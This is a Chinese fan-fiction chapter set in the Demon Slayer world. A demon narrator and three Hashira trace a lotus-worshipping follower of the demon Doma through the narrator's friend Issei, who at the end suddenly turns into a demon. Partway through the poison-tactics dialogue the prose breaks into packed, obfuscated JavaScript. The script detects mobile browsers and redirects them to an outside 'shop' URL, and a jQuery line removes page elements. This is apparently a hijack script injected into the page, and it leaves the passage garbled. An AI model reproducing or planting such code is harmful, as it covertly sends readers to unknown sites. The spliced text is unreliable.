不死川实弥:“我也知道怎么查了。” 你:“……” 他们一个开朗外向一看就是社交小能手,一个有着丰富的街头经验,确实不成问题。有问题的只是你罢了,还好,还剩一个不怎么会搭话的人陪着你。你把目光移向她—— 蝴蝶忍:“好,吃完饭大家就出发吧。” 你默默低下头。好吧,原来她心中有数的。 你把手伸向桌子上的点心。 “呕,呕——” 你冲到院子里呕吐。 “你到底还记不记得你是鬼啊!” 你吐得胃都快翻过来了。 紫藤花之家提供给柱的餐饭很精致,但越是深加工的人类食物,对你来说越是难以下咽,才会吐成这样。 你的身份还有存在是柱才知道的秘密,所以他们摆上了同样的一份饭。和实弥他们说着说着,你就端起来吃了下去,结果悲剧了。 吐完了食物,你还在持续地反胃,难受得不行。蝴蝶忍眉心松开些,起身给你倒了杯水。 “谢谢。”你把嘴里的怪味漱掉,眼泪汪汪地道谢。 她扭开脸。 你咳嗽几声,用手帕捂住嘴。不好,你肯定是害得他们都没有食欲了。 “对、对不起,我不是……”你卡顿住。 “我不是这个意思,”蝴蝶忍不自在起来,“你进来吧。” “我、我不是,”你转过身看看她,再看向屋里的另外两个人,“我好像也有办法了。” 一诚先生在书房里招待你们。 惠美送来泡好的红茶,你们在一片看似友好的气氛中开始聊天。 “这是一诚先生和他的夫人惠美,是我的好朋友,也是我之前就职的杂志社的赞助人。”你介绍完,再向一诚夫妻道,“这位不死川先生还记得吧?蝴蝶忍小姐是香奈惠小姐的妹妹,炼狱杏寿郎先生和他们是一起的。” 说完,你赶紧补充道:“现在我们也是朋友了,哈哈。我们来这里玩,看到神社的灯笼上和你家的家徽一样,就来试试。没想到真是你,哈哈。” 干笑两声,继续不下去了。 一诚平静地笑笑:“我知道,时彦写信告诉我们了。” “这样吗,哈哈……”你又卡住,内心的小人抱头尖叫! 他他他告诉了?他说了多少,告诉了几个人? “时彦是联系不上你,才写信给我还有幸勇,提到了你的近况,看我们能不能想办法找到你。但是自从上次那封奇怪的信后,你就没有消息了,我们原地址寄回去没有回音,你原来的联系方式也全部失效了。”一诚关切地看着你,“是出什么事了吗?你看起来很不好,很瘦、很憔悴,是病了吗?黑死牟先生怎么说,他怎么不在?” 你眼神开始乱瞟:“我没事呀,我不一直这样吗……” “不一样,以前你只是消瘦一些,现在很……我说不上来,但你不会没事的,去看一下吧。还是已经看过了,但不想告诉我们?” 你沉默。在富冈义勇那里等消息的时候,你把手里没法儿折现的汇款单全寄回了杂志社,请社长一半捐给教堂的基金会,一半给你以前办的学习班。水柱很忙,帮你寄完信不可能在邮局那里蹲着等回复,没想到他们都试图找过你。 如果你的朋友突然辞职,留下封遗嘱一样的书信,捐献完全部财产就音讯全无,再见面时整个人跟吸了一样暴瘦、无精打采,你也会这么怀疑。 “我……没事,我知道自己在做什么。告诉大家,不要再担心了。” “那就好。”一诚明显是不相信的,他看看旁边暴躁气质根本遮掩不了的不死川实弥,两只眼睛电光闪闪都没眨过一下的炼狱杏寿郎,最后落到唯一看着正常的蝴蝶忍身上,欲言又止。 “不管发生什么,”他对你说,“不要忘了我们这些朋友。我们总会帮你的。” 你很感动,放下一口没动过的,他特意给的咖啡,说道:“现在就需要呢!我,不是,我们在做一个田野调查。一诚你知道这里有没有突然失踪的人啊,就是那种之前好好的,突然断联,慢慢的家人也不见的那种人。” 一诚摇头:“没有听说过。” 你有点失望。不过也正常,他的生存环境中很难接触到这种人。你一直知道他是个有钱人,是杂志社的“财神爷”,但没想到他这么有钱!是那种有家族神社的名门望族,你几辈子遇到的人加起来,也就数他最有钱了吧? 仿佛知道你在想什么,他谦虚道:“我就是个普通人,厉害的是家里,我只是家族中的一份子。” 你转念一想,又问道:“那这里有什么崇拜莲花的团体吗?有没有见过什么人特别喜欢莲花?就是衣服上啊,还有用的东西,上面印着莲花的。” 一诚端着茶杯的手微微一顿。 “有,”他道,“我能问问,为什么打听这个吗?” 实弥按捺不住:“赶紧……” 你一巴掌把他拍回去。 “别理他,”你顺手把碎发别到耳后,也想出了借口,“我打算写篇论文,题目是《民间植物信仰的流变》,可惜找不到采访的对象。一诚你要是能帮忙安排的话,就太好啦!” “那正好,”他道,“我正准备这两天去探望他呢。” 惠美在旁不赞成道:“我看你趁早别和他来往了。” 一诚叹气:“毕竟是长辈。” 你们回到紫藤花之家等待。一诚是打算留你们在他家住一晚的,但很多事情在这里商量才方便,你就婉拒了。 一进门,实弥马上道:“我这就去查!不是他家亲戚吗,肯定住得很近,你们等我消息。” 不等你开口,炼狱就拦住他:“不用急,我们现在查的是线索,不是上弦之二。由可靠的亲人引荐是最好的见面方式,这样更方便我们取得信任,得到更多有用的情报。” 蝴蝶忍也道:“不在这一天两天。” 他这才安静些:“那都说说你们的看法吧,我认为多半就是了。” 你也这么认为。 一诚说的这个人,是他的一位堂叔。前几年生病后变得脾气古怪,老婆孩子都受不了搬出去住了,他也因此越来越极端,狂热地爱上了莲花,足不出户,在房间里摆满了莲花纹样的东西。 遭遇重大人生变故、离群索居、行踪成谜,还崇尚莲花。太符合你们给童磨信徒做的人物侧写了。 “一旦确认此人的信徒身份,也就能确认童磨在此地了,”蝴蝶忍冷静道,“那样就立即派鎹鸦通知岩柱与音柱,再开始下一步行动。总之,明天很关键,今晚先好好休息。” 这是鬼杀队第一次主动出击,筹划击杀上弦鬼的行动,怎么谨慎也不为过。 夜深人静,他们都歇下了,你一个人在走廊里溜达。这样的时刻,一点声响都会放大。 纸门悄无声息地拉开一道缝,你探头进去:“你怎么还没睡着?” 实弥瞪着眼睛:“因为你在吵。” “才不是!你失眠有阵子了。为什么?因为不死川玄弥吗?别这样看我啊,”你给他盯得有点儿慌,“我只听到这一句话,真的。这个人名字和你很像,是你弟弟吗?” 他冷冷道:“和你有什么关系。” “和我是没关系啦,我担心的是你会猝死,”你特别真诚地看向他,“这不是马上要杀鬼了吗?睡眠不好还要剧烈运动的话,很容易猝死的。” 你无数次怀疑过穿越的契机是不是你熬夜写论文猝死了,按理说年轻的身体不至于这么不抗造,但生命有时是很脆弱的。所以你忍不住来关心他,给他开导开导让他放心睡了。 不死川实弥面无表情地起来关上了门。 你碰了一鼻子灰还不甘心,趴在门上小声道:“我知道你听得见。还有,我猜到了,不死川玄弥就是你弟弟,你不想他来鬼杀队才愁得睡不着觉。你听我说,你弟弟呢,他有自己的人生、自己的选择,你在这里发愁是没用的,他最终还是会走到自己的路上。你不如——啊!” 他猛地拉开门,你摔在地板上。 “我打断他的腿,看有没有用!”月光下,他咬牙切齿道。 你竟不知,他的控制欲强到如此地步,真是失敬。 “恐怕打断了也没用,”你揉着脑袋爬起来,“只会让他更坚定这条道路,还恨上你。” 你用自己的亲身经历循循善诱道:“我妈就像你这样,你不知道她有多惯着我。我这个人吧,资质平庸,小的时候还肢体不协调,反应很慢,丢三落四,手也笨,稍微精细点的动作都做不来。我学不会折纸,跳皮筋从来跳不到小腿以上,鞋带都不会自己系……幼儿园的老师怀疑我智力有问题,但我妈从来不这么觉得,她自己折纸替我交手工作业,没有给我买过一双有鞋带的鞋子,我活了二十多年,一次书包都没有整理过……” “你想说什么?”他烦躁打断你。 “我想说,”你深吸一口气吐出,“这世上不会有第二个人像她那么包容我,我跟其他小孩所有的不同在她眼里都不是问题,她从不强求我为适应社会做出任何改变,因为我做不好的事她都会替我做,我妈对我就这么好。可是、可是……” 你又深呼吸几下:“可是,我要是不能考出她想要的成绩,她就会,打我。” 实弥没有说话。 “哈哈,她还打得挺狠的。她帮我抵抗社会的规训,但她心里也有一套对我的规训。她有一个理想的女儿的形象,如果我不符合,她就会那样。”你捂住脸,“我不能改变这一点,所以我离开她了。” “你为什么不像我呢?”妈妈不解地问。她优秀、强大,学业事业都一帆风顺,认为这是理所当然,而你已压到喘不过气来。你们只能保持一段安全的距离。 “所以,暴力是解决不了问题的,还会把亲人越推越远,”你拍拍实弥的背,“明白了吗,少年?快收回你错误的想法!” 他推开你的手:“啰嗦。你是独生女吧?” “嗯,怎么了?”你只在战国那一世有弟妹,但大家跟在“时透公司”打工的同事差不多。 “你这种人怎么能理解兄弟姐妹间的感情?”他恶狠狠道,“找你妈妈撒娇去吧。” ???他怎么还歧视独生子女,有兄弟姐妹就了不起啊! “你个沙文主义猪!” “哈?你说什么,再说一遍!” 你们吵到所有人都惊醒过来。 直到炼狱冲上来把你们分开,你还在脸红脖子粗地骂,骂他残暴不仁要打断亲弟弟的腿。实弥脸上青筋暴起,蝴蝶忍面色黑得宛如锅底。 最后,炼狱陪他睡,你和蝴蝶忍一屋。 “放心吧,我也有弟弟,我来劝他!”炼狱非常有大哥风范地拍一下你的肩,就卷铺盖进了他那一屋。 蝴蝶忍睡不着了,她给自己倒一杯茶,道:“正好,我来和你说说我们的战术。” 用毒削弱童磨的一大前提是,鬼杀队的研究取得了重要突破。 “我们发现,稀血对鬼格外有吸引力是由三种成分决定的:特有的营养元素,引起兴奋的酯类化合物,还有一种可以加速鬼吸收效率的的蛋白质。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282327|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“在这之后,青木师父提出了一个假设,能不能提取这种蛋白质和紫藤花毒素混合。试验了上百种配方后,我们成功了。” “最终成品用的是你的血蛋白,因为你的血液里还有鬼的成分,更容易和鬼的受体结合,能让毒素突破防御侵入体内。这样的毒,吸收快、不容易被发现,而且很难代谢,就算杀不死上弦鬼,也够他受的。战斗开始后,我会想办法至少完成三次注射,一次单纯的紫藤花毒素,一次混有血蛋白,还有一次用来强化。为此,我要确保自己第一个迎敌,接下来你必须时刻跟在我身边。” 原来,关键在这里,能装大象的冰箱当然得是改装冰箱。你点头:“我明白了。” 她继续道:“这个过程中,我是照顾不到你的。为了减少伤亡,也免得上弦之二吃到你后变得更强,战斗开始后,你要自己想办法逃。” “嗯,我明白了。” 她呆了一会儿,突然道:“那我睡了。” “好。” 你知道她整晚没睡着。 第二天傍晚,你们如约到一诚家准备随他去拜访堂叔。你和实弥依旧怒火难消,一对视就火花带闪电,炼狱和蝴蝶忍只好走中间。 路途很顺利,一点小插曲是时彦愤怒地打来电话,指责你和不死川不告而别他要立刻过来云云。随便吧,他过来至少几天后了。你挂了电话,让一诚以后晚点传达你的消息。 你们出发,很快抵达这附近的另一座大宅院,进了大门又走了好一会儿才到屋檐下。一诚摁下电铃,仆人开门相迎。你的目光越过众人的肩膀,看到楼梯后推着轮椅上前来的瘦小老头,他的和服上绣满莲花,巨幅的紫色丝绒幕布从屋顶垂下来,上面也开着莲花。 你打了个寒噤,马上就确认了:他就是万事极乐教的信徒。 老人病怏怏地歪在轮椅上和堂侄握手:“难为你还愿意来看我,这里早没什么人想来了。” “叔叔,”一诚道,“这是我的几个朋友,他们想听听你那些莲花的事。” “哦?”老人来了精神,青灰色的脸上透出暗淡的光,“他们也听说了教主大人的神迹,来追随祂的脚步吗?” 你后背开始冒冷汗。 一诚皱起眉,显然就是为这个“教主大人”,老人和除他所外的亲人都闹翻了。 “不,他们只是问问。” “没错!”炼狱杏寿郎挡在你前面,“我们迫不及待要知道老人家您的事了,现在就请开始吧!” 紫色的沙发上,他陷入奇怪的亢奋,左眼下方的筋好像在抽动。 “既然你们已经明白了教主的伟大,我就不像对别人那样兜圈子了,”他神经质地摩挲着沙发的扶手,那一块已经被摸得发亮,“我追随童磨大人,是为了不朽的荣耀。为此,我献上了我的虔信,还有神不屑一顾的财富,这都是值得的,我即将得到永生!” 一诚难过道:“叔叔,您是病太久了。我们多看几个医生吧,不一定治不好。” 他气得用手锤桌子:“不要在我面前说这种渎神的话!你不懂,以后就知道了。等我不朽,我会让你明白什么是神迹。” “你是说,”实弥冷漠地开口,“上弦之二答应要把你变成鬼了吗?” 老人气得眼睛都突出来:“放肆、放肆!” 一诚疑惑地看看实弥,但他觉得你们一定是搜集了足够的资料来采访,掌握了他不清楚的专业术语,就没有贸然开口,只是劝道:“您别生气。” 老人把桌子拍得震天响:“你们懂什么,懂什么!你们这些无忧无虑的人,知道什么疾苦!人身是速朽的,年富力强只有那么几年,余生只有衰败,没有任何价值!唯有真神降下永生的祝福,祂给信徒真正宝贵的东西,那有什么不好?你们都来找我了,竟然不知道!” 炼狱杏寿郎大声道:“恕我直言,变鬼是绝对不可取的,他人的生命一样珍贵。” 蝴蝶忍尽量让自己心平气和:“我见过很多人病急乱投医,老先生,这一点上我不会看不起你。但我知道,有的人她被疾病、痛苦日日折磨,也不会忘记为人的尊严。秉持这一点,人就不会做错事。老先生,您在做很可怕的交易,绝对是得不偿失的。请告诉我们那只鬼的下落吧。” 实弥道:“他脑子早坏了,不会说的,我们就从这里开始查!” 你站起来。 “请听我说,让我说,”你制止住开始变混乱的场面,深深地注视着那个气急败坏的人,“先生,永生并不是祝福,就算你得到了漫长的生命,那也只是一种假象。” 理论上来讲,你现在已经是长生种了,这种感觉在座的人不会比你更清楚。你想起自己夜半突然感到的衰老,想起无限城里黑死牟困兽一样的眼神,时光在你们身上留下那么多伤。 古希腊神话中,黎明女神爱上了人类提托诺斯,请求宙斯赐予他永恒的生命,却忘了永恒的青春,提托诺斯不断地枯槁下去直到佝偻成蟋蟀。你现在明白,就算青春也可以由神赐予,人心岂能不变。只要人还在流逝的时光中有所感受的话,他的心早晚也会是爱人的一只蟋蟀。 “你在说什么!”他大叫起来,“别以为我不知道,你身上有和童磨大人很像的气息,你已经得到了永生,却来断绝我的生路!你滚,给我滚啊!” 他把桌上所有的东西都砸到了你身上。 “对不起,对不起!”一诚护着你躲到隔壁房间。 实弥怒气冲冲:“就该按我说的直接查!” 蝴蝶忍放飞鎹鸦,看向一诚。 他面色凝重:“我很抱歉,但你们也看到了。我叔叔他……不是很清醒,恐怕他没有办法配合你们了。” 他仔细查看你手上、脸上都没有伤,道:“今天就到这儿吧。” 你也深感很对不起他,忙道:“没有关系的,我们这就……” “走什么走!”实弥露出那种马上就要见到血的危险笑容,“线索都在眼前了还不查吗?所以说最讨厌和有钱人打交道了,你们这种人都做见不得光的勾当!” 这么说就过分了,你维护一诚:“他在帮我们!” “那就让开,让我去查!” 炼狱杏寿郎再次打圆场:“这里很大,从外围查起说不定有线索。不死川,我们走吧。” “嗯?都进来了,为什么要……” 争执间,一诚身形晃动两下,难受地扶住一旁的边柜。 “不死川,我们已经找到线索了。” “这里都有人要变鬼了,说明上弦之二来过!” “我们可以先从……” 一诚靠住墙,慢慢蹲下去。 你和实弥怒目相向! “你怎么这样,他是我朋友!” 他恼怒不已:“你在妨碍我。” 一声巨响传来,边柜翻到在地,一诚伏在上面,全身肌肉不自然地起伏。 你们愣在原地。一诚他,在极短的时间内,变成了鬼。